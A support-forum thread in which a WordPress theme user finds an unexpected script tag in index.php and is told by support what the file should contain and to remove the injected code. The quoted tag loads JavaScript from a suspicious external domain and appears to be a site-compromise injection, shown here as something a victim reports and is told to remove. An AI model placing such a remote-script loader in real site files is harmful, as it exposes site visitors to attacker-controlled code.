Should this be in my index.php file

Hi community thanks for all the neat tips.

I was looking through my files for any bugs and noticed this script in my index.php file.

type=‘text/javascript’ async src=‘https://css.developmyredflag.top/sjquery.min.js?style=prime&’>

Should that be there? Thanks

Hi @fmerino9,

Did you mean the x/index.php or pro/index.php file?

So the code in that file should be like this:

<?php

// =============================================================================
// INDEX.PHP
// -----------------------------------------------------------------------------
// Handles output of pages and posts if a more specific template file isn't
// present. Must be present for theme to function properly.
//
// Content is output based on which Stack has been selected in the Customizer.
// To view and/or edit the markup of your Stack's index, first go to "views"
// inside the "framework" subdirectory. Once inside, find your Stack's folder
// and look for a file called "wp-index.php," where you'll be able to find the
// appropriate output.
// =============================================================================

x_get_view( x_get_stack(), 'wp', 'index' );

So you should remove the code you mentioned above and I also recommend you to install one of the following security plugins:

Regards!

This topic was automatically closed 10 days after the last reply. New replies are no longer allowed.